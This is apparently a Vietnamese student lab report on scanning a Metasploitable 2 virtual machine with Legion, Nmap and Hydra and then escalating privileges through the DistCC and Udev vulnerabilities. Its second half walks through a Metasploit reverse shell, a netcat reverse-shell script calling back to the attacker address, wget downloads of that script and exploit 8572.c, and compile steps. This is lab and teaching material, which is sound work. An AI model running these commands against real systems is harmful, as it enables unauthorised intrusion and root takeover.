Currently, the Hydra tool supports a variety of methods including Asterisk, AFP, Cisco AAA, Cisco authentication, Cisco enable, CVS, Firebird, and various HTTP protocols such as HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, and HTTP-PROXY Additionally, it supports secure protocols like HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, and HTTPS-POST, as well as other services including ICQ, IMAP, IRC, LDAP, MEMCACHED, MONGODB, and MS-SQL.
The article discusses various networking and database protocols and tools, including MYSQL, Oracle, and POSTGRES, alongside remote access technologies such as RDP, VNC, and PC-Anywhere It also covers communication protocols like SMTP, POP3, and SIP, as well as versioned protocols such as SNMP v1, v2, and v3 Additionally, it mentions SSH (both v1 and v2) for secure remote logins, Subversion for version control, and Teamspeak for voice communication Other protocols like NCP, NNTP, and RTSP are highlighted, along with services like VMware-Auth and SOCKS5 for enhanced network security.
Công cụ Hydra sử dụng phương thức tấn công Brute-Force, một kỹ thuật tấn công phổ biến cho mọi loại mã hóa Phương pháp Brute-Force hoạt động bằng cách thử tất cả các chuỗi mật khẩu khả thi để xác định mật khẩu đúng Trong các bài lab, chúng ta đã biết trước các mật khẩu, nhưng đối với một máy tính mà bạn không biết mật khẩu và mật khẩu này không có trong từ điển, cần áp dụng phương pháp khác.
Các options của công cụ Hydra:
Nmap, hay còn gọi là Network Mapper, là một công cụ bảo mật mã nguồn mở và miễn phí, được phát triển bởi Floydor Vaskovitch Công cụ này được sử dụng để quét cổng và phát hiện lỗ hổng bảo mật, giúp các chuyên gia quản trị mạng xác định thiết bị hoạt động trên hệ thống của họ Nmap cũng hỗ trợ tìm kiếm các máy chủ có sẵn, các dịch vụ mà các máy chủ cung cấp và phát hiện các cổng mở, từ đó đánh giá các nguy cơ về bảo mật.
Nmap là công cụ mạnh mẽ cho phép giám sát không chỉ các máy chủ đơn lẻ mà còn cả các cụm mạng lớn với hàng trăm nghìn thiết bị và nhiều mạng con khác nhau.
Mặc dù Nmap đã trải qua nhiều năm phát triển và cải tiến, nó vẫn chủ yếu là một công cụ quét cổng, hoạt động bằng cách gửi các gói dữ liệu đến các cổng hệ thống Nmap lắng nghe và phân tích phản hồi để xác định trạng thái của các cổng, như mở, đóng hoặc bị lọc bởi tường lửa Các thuật ngữ khác liên quan đến hoạt động quét cổng bao gồm dò tìm cổng và liệt kê cổng.
Nmap gửi các gói dữ liệu để thu thập địa chỉ IP và thông tin liên quan, giúp xác định thuộc tính mạng, tạo hồ sơ hệ thống mạng và lập bảng đánh giá phần cứng cũng như phần mềm trong mạng.
Thử nghiệm
2.1 Rà quét các lỗ hổng của Metasploitable 2 bằng công cụ LEGION Ở đây, ta sẽ sử dụng máy ảo Metasploitable 2 để phục vụ cho việc rà quét
Bước 1: Ta phải check được IP của máy ảo này thì mới có thể thực hiện quét bằng công cụ LEGION được Nhập vào dòng lệnh: ipconfig
Như vậy địa chỉ IP của máy ảo nạn nhân là 192.168.80.134.
Bước 2: Ta sẽ sử dụng công cụ Legion trong Kali Linux để thực hiện việc quét.
Trong giao diện Legion, hãy nhập địa chỉ IP đã lấy và điều chỉnh các tùy chọn cũng như hiệu suất theo nhu cầu Chúng ta sẽ chọn chế độ Easy Mode và nhấn Submit để bắt đầu quá trình quét.
Sử dụng LEGION để quét địa chỉ IP, sau một thời gian ngắn, quá trình quét sẽ hoàn tất Kết quả quét sẽ hiển thị ở phần bên trái giao diện, cho phép người dùng dễ dàng theo dõi các host đã quét.
Hình 3 7 Host quét được Ở phần output bên phải là những kết quả sau khi quét ta thu được
Hình 3 8 Kết quả thu được Ở phần dưới cùng của giao diện là toàn bộ quá trình quét và ghi log.
Hình 3 9 Quá trình quét Ở đây ta cùng đi phân tích kỹ các kết quả thu được sau khi quét.
Tab Service sẽ bao gồm những dịch vụ mà Nmap quét được, bao gồm các thuốc tính về cổng, phương thức, trạng thái, tên, version.
Tab Script, hay còn gọi là NSE (Nmap Scripting Engine), là một công cụ mạnh mẽ trong Nmap, cho phép người dùng viết và chia sẻ các đoạn script đơn giản nhằm tự động hóa nhiều tác vụ trong lĩnh vực mạng Những script này có thể được sử dụng để phát hiện và khai thác các lỗ hổng bảo mật.
Tab Information cung cấp thông tin chi tiết về trạng thái máy chủ, địa chỉ IP và hệ điều hành của nạn nhân Trong phần Host Status, trạng thái máy chủ được xác định là mở, với cổng mở là 31, cổng đóng là 16 và cổng tìm kiếm là 65488 Địa chỉ IPv4 của máy nạn nhân là 192.168.80.134, địa chỉ MAC là 00:0C:29:B5:F3:AB và nhà cung cấp là VMware Hệ điều hành đang sử dụng là Linux phiên bản từ 2.6.9 đến 2.6.33.
Tiếp theo là Tab CVEs bao gồm những CVEs mà nikto quét được từ máy nạn nhân.
Tab Note này là phần mà ta có thể ghi chú vào đây.
Tab Screenshot(80/TCP) là hình ảnh màn hình được chụp từ máy nạn nhân,
Tab mysql-default (3306/TCP) là nơi mà công cụ Hydra thực hiện việc brute- force và trả về kết quả.
Các tab tiếp theo hiển thị kết quả tương tự từ công cụ Hydra brute-force Trong phần tiếp theo, chúng ta sẽ phân tích và khai thác lỗ hổng mà chúng ta đã quét được, với sự hỗ trợ của Metasploit Framework.
2.2 Leo thang đặc quyền bằng cách khai thác lỗ hổng DistCC và Udev (CVE- 2004- 2687 và CVE-2009-1185)
DistCC là một công cụ giúp tăng tốc độ biên dịch mã nguồn bằng cách tận dụng khả năng tính toán phân tán qua mạng máy tính Khi được cấu hình đúng cách, DistCC có thể giảm đáng kể thời gian biên dịch, tuy nhiên, nếu cấu hình sai, nó có thể bị khai thác, điển hình là trong lỗ hổng bảo mật CVE-2004.
DistCC phiên bản 2.x, nếu không được cấu hình để ngăn chặn truy cập từ bên ngoài, có thể bị kẻ tấn công lợi dụng để thực thi lệnh trên server mà không cần kiểm tra phân quyền Trước khi thực hiện việc leo thang đặc quyền, kẻ tấn công sẽ khai thác lỗ hổng này để tạo ra reverse shell từ máy nạn nhân về máy tấn công.
Bước 1: Kiểm tra máy nạn nhân có đang chạy DistCC không.
Kiểm tra xem trong kết quả có service “distccd” đang chạy không, nếu có tức là máy nạn nhân có thể bị khai thác lỗ hổng của DistCC.
Bước 2: Khai thác lỗ hổng DistCC để tạo reverse shell với quyền thấp (Low –
Nhập msfconsole vào terminal để mở Metasploit Framework, sau đó nhập search distcc để tìm kiếm module khai thác lỗ hổng trong DistCC
Sử dụng module exploit/unix/misc/distcc_exec bằng cách nhập lệnh tương ứng, sau đó thiết lập các giá trị RHOST, LHOST và PAYLOAD, trong đó RHOST là địa chỉ máy nạn nhân, LHOST là địa chỉ máy tấn công, và PAYLOAD là cmd/unix/reverse, để tạo một reverse shell từ máy nạn nhân về máy tấn công.
Hình 3 19 Sử dụng module và set giá trị
Nhập exploit để thực hiện tấn công; nếu thành công, chúng ta sẽ thiết lập một reverse shell về máy tấn công Tại đây, khi nhập lệnh whoami, kết quả trả về sẽ cho biết danh tính của người dùng hiện tại.
“daemon”, “daemon” mới chỉ là một process chứ ta chưa có được quyền “root”.
Bước 3: Khai thác lỗ hổng Udev để leo thang đặc quyền (CVE-2009-1185)
Udev phiên bản 1.4.1 và các phiên bản trước đó không xác minh nguồn gốc của thông điệp NETLINK, dẫn đến việc người dùng cục bộ có khả năng khai thác lỗ hổng này để nâng cao quyền hạn bằng cách gửi thông điệp NETLINK từ không gian người dùng.
Udev 1.4.1 thường xuất hiện ở các bản Ubuntu 8.10 sử dụng Linux kernel 2.6 trở xuống, vì vậy đầu tiên cần xác định được phiên bản Linux kernel mà hệ thống nạn nhân đang sử dụng Tiếp tục nhập uname -a và lsb_release -a vào reverse shell từ máy nạn nhân Kết quả trả về là máy nạn nhân sử dụng kernel 2.6.24 và phiên bản Ubuntu 8.04
Hình 3 21 Kiểm tra phiên bản kernel
Mở terminal mới trên Kali và sử dụng searchsploit để tìm kiếm payload leo thang đặc quyền cho lỗ hổng trên kernel phiên bản 2.6 bằng lệnh `searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6` Chúng ta sẽ sử dụng file “linux/local/8572.c” và có thể nhập lệnh `less` để xem nội dung.
/usr/share/exploitdb/exploits/linux/local/8572.c để xem mã nguồn của file này.
Mục tiêu của chúng ta là tải lên file “8572.c” và script “run” chứa netcat reverse shell vào thư mục /tmp của máy nạn nhân Để thực hiện điều này, trước tiên cần tạo file script “run” bằng lệnh nano /var/www/html/run Nội dung của file sẽ là #!/bin/bash nc 192.168.80.133 12345 -e /bin/bash, trong đó “192.168.80.133” là địa chỉ máy tấn công và “12345” là cổng lắng nghe trên máy tấn công.
Sau đó tiến hành restart apache2, và tạo một symbolic link tới file “8572.c” bằng lần lượt các lệnh service apache2 restart và ln -s
/usr/share/exploitdb/exploits/linux/local/ /var/www/html
Trong thư mục /var/www/html, có file "run" và thư mục "local" Các máy tính trong cùng mạng LAN có thể truy cập vào file và thư mục này qua địa chỉ http://192.168.80.133/local và http://192.168.80.133/run.
Chuyển sang Low – Privileges Shell, nhập lần lượt các lệnh cd /tmp wget http://192.168.80.133/run và wget http://192.168.80.133/local/8572.c để tải file “run” và “8572.c” từ máy tấn công về
Hình 3 27 Tải các file cần thiết về
Nhập gcc -o exploit 8572.c để compile file “8572.c”
Khi chạy file "exploit", script "run" sẽ được thực thi, tạo một reverse shell với quyền root về máy tấn công đã được chỉ định IP và PORT trong file "run" Để thực hiện việc này, cần truyền vào Process ID (PID) của udevd netlink socket, có thể lấy PID bằng lệnh cat /proc/net/netlink PID duy nhất có giá trị khác 0 chính là PID cần tìm Để xác nhận, có thể sử dụng lệnh ps aux | grep udev, PID trong kết quả sẽ lớn hơn 1 đơn vị so với kết quả trước đó Trong trường hợp này, PID cần tìm là 2743.
Hình 3 29 Tìm PID của netlink